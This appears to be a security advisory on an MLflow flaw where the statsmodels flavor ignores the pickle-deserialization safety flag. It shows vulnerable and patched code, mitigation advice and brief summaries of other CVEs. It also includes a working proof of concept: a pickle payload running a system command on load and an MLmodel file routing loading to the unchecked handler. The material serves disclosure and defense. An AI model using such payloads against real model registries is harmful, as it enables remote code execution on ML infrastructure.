Sep 1, 2026·5 min read·5 visits
MLflow fails to enforce pickle deserialization restrictions within its statsmodels loading flavor, allowing remote code execution via malicious model artifacts.
A security control bypass vulnerability in MLflow allows remote attackers to execute arbitrary code on a system running MLflow when loading a crafted model artifact. The security control MLFLOW_ALLOW_PICKLE_DESERIALIZATION=False, which restricts loading unsafe pickle-based models, can be bypassed by specifying the mlflow.statsmodels model flavor in the model's configuration.
The open-source platform MLflow provides a suite of tools to manage the machine learning lifecycle, including tracking experiments, packaging code, and sharing models. To facilitate model deployment across diverse frameworks, MLflow supports multiple flavors that dictate how models are saved, serialized, and subsequently loaded back into memory.
To address risks associated with arbitrary object deserialization, MLflow exposes a configuration flag named MLFLOW_ALLOW_PICKLE_DESERIALIZATION. When set to False, this control is intended to block the loading of unsafe pickle-based serialization formats, which are known to allow arbitrary code execution during deserialization.
This vulnerability, tracked under GHSA-GQVG-GMMX-X4HM, represents a critical breakdown in this security boundary. Rather than implementing a centralized validation layer, MLflow relied on individual model flavors to enforce the safety flag, leading to an omission in the statsmodels module.
The root cause of GHSA-GQVG-GMMX-X4HM is located within the loading logic of the mlflow.statsmodels flavor. Specifically, the internal model loading routine fails to check the state of the MLFLOW_ALLOW_PICKLE_DESERIALIZATION environment variable before initiating deserialization.
When a model saved under the statsmodels flavor is loaded, the execution flow is passed directly to the statsmodels library. The wrapper function calls statsmodels.iolib.api.load_pickle, which directly deserializes the target file using Python's native, unsafe pickle module.
Because no verification occurs prior to this call, the environment variable configuration is completely bypassed. This enables an attacker to supply a serialized payload that executes system commands or loads malicious modules the moment the model file is parsed by the application.
The vulnerable implementation in mlflow/statsmodels/init.py demonstrates the lack of any security checks prior to loading the pickled file. In versions prior to v3.15.0, the function load_pickle was executed immediately upon retrieving the model path.
# Vulnerable Implementation
def _load_model(path):
import statsmodels.iolib.api as smio
# Direct loading of untrusted pickle file without checking safety flags
return smio.load_pickle(path)The patch introduced in Pull Request #24686 implements explicit safety checks. The updated logic checks the value of the MLFLOW_ALLOW_PICKLE_DESERIALIZATION environment variable and raises an exception if the flag is disabled, unless executing within a trusted Databricks environment.
# Patched Implementation (mlflow/statsmodels/__init__.py)
def _load_model(path):
# Verify whether pickle deserialization is permitted globally
if (
not MLFLOW_ALLOW_PICKLE_DESERIALIZATION.get()
and not is_in_databricks_runtime()
and not is_in_databricks_model_serving_environment()
):
raise MlflowException(
"Deserializing model using pickle is disallowed, but this model is saved "
"in pickle format. The workaround is to set environment variable "
"'MLFLOW_ALLOW_PICKLE_DESERIALIZATION' to 'true'."
)
import statsmodels.iolib.api as smio
return smio.load_pickle(path)While the fix addresses the omission in the statsmodels flavor, the architecture remains decentralized. Any new or unpatched flavor that deserializes content using pickle without referencing this validation utility could introduce similar bypasses.
An exploitation attempt begins with the creation of a weaponized serialized object containing a custom reduce method. The attacker serializes this object using the standard Python pickle module, storing the payload inside a file named model.pkl.
import os
import pickle
class ExploitPayload:
def __reduce__(self):
# Executes a custom system command upon deserialization
return (os.system, ("whoami > /tmp/rce_proof.txt",))
# Serialize the malicious object
with open("model.pkl", "wb") as f:
f.write(pickle.dumps(ExploitPayload()))To map the payload to the vulnerable loading pathway, the attacker creates a metadata file named MLmodel. This configuration registers mlflow.statsmodels as the loader module, forcing MLflow to dispatch loading operations to the unvalidated handler.
flavors:
statsmodels:
statsmodels_version: 0.14.0
data: model.pkl
pyfunc:
loader_module: mlflow.statsmodelsOnce the targeted application or automated server attempts to load this registered model, the statsmodels flavor executes the deserialization task, triggering immediate code execution with the permissions of the running process.
The successful exploitation of this vulnerability allows unauthenticated remote attackers to execute arbitrary system commands within the context of the user running MLflow. In typical machine learning infrastructure, this execution context may have access to highly sensitive datasets, training environments, and cloud provider credentials.
If the MLflow server or client is configured to deploy model serving endpoints automatically, the attack surface is exposed to any network actor capable of submitting model files or altering the model registry. This scenario increases the severity score to 9.8, indicating complete loss of confidentiality, integrity, and availability.
In environments where user interaction is required, such as a data scientist importing an untrusted model into a local development workspace, the severity remains high (8.8) due to the necessity of a specific user action to load the model.
The primary and recommended mitigation is to upgrade the MLflow package to version v3.15.0 or later. This release introduces the required validation check in the statsmodels flavor, ensuring that the MLFLOW_ALLOW_PICKLE_DESERIALIZATION flag is respected globally across all official loaders.
In scenarios where immediate patching is not feasible, organizations should implement strict egress network filtering to prevent compromised workloads from communicating with external Command and Control (C2) servers. Additionally, input validation should be enforced to restrict model registration to trusted origins only.
Furthermore, security teams should continuously audit MLflow artifact storage for unusual MLmodel configurations. Specifically, any configuration specifying mlflow.statsmodels as the loader module should be flagged for analysis if that flavor is not standard in the development workflow.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
mlflow MLflow | < 3.15.0 | 3.15.0 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-502, CWE-284 |
| Attack Vector | Network / Local |
| CVSS v3.1 Score | 9.8 |
| Exploit Status | Proof-of-Concept |
| KEV Status | Not Listed |
| Impact | Remote Code Execution |
The application deserializes untrusted data without sufficient verification, allowing the execution of arbitrary code.
An algorithmic complexity vulnerability in the pypdf library before version 6.16.1 allows remote or local attackers to cause an application denial of service. The flaw is triggered via maliciously crafted PDF documents that utilize either deeply nested outlines or exponential Directed Acyclic Graph (DAG) structures in Form XObjects.
An authentication bypass vulnerability exists in Filament's app-based (TOTP/authenticator) multi-factor authentication (MFA) system when recovery codes are enabled. This allow attackers possessing primary credentials to bypass the second-factor authentication check entirely by manipulating the Livewire state during the challenge-form validation lifecycle.
An authentication oracle vulnerability exists in Filament before 4.12.5 and 5.7.5. The application initiates MFA challenge workflows prior to verifying user authorization policies, allowing unauthenticated attackers to validate guessed credentials.
A multi-factor authentication bypass vulnerability exists in Filament (Laravel full-stack framework panels) due to improper time-step tracking of Time-Based One-Time Password (TOTP) codes. By submitting valid TOTP codes from an older time window within the drift allowance, an attacker with a user's password can bypass the single-use MFA guarantee and obtain unauthorized account access.
CVE-2026-19418 is a high-severity origin validation vulnerability in TYPO3 CMS that enables Cross-Site Request Forgery (CSRF) and access control bypasses. Due to architectural consolidation of entry points in version 13.0, the core ReferrerEnforcer fails to isolate backend endpoints from the frontend, allowing an attacker with frontend script execution capabilities to perform unauthorized administrative actions.
CVE-2026-84304 is a high-severity uncontrolled resource consumption vulnerability in gRPC-Go, the Go implementation of the gRPC framework. The issue stems from a memory amplification flaw inside the HTTP/2 DATA frame processing subsystem. Remote, unauthenticated attackers can exploit this vulnerability by sending a high volume of heavily fragmented, tiny DATA frames within multiplexed concurrent streams. This causes gRPC-Go servers to allocate excessive internal metadata structures on the Go heap, leading to severe heap memory amplification, intense garbage collection thrashing, and process termination due to Out-of-Memory (OOM) conditions.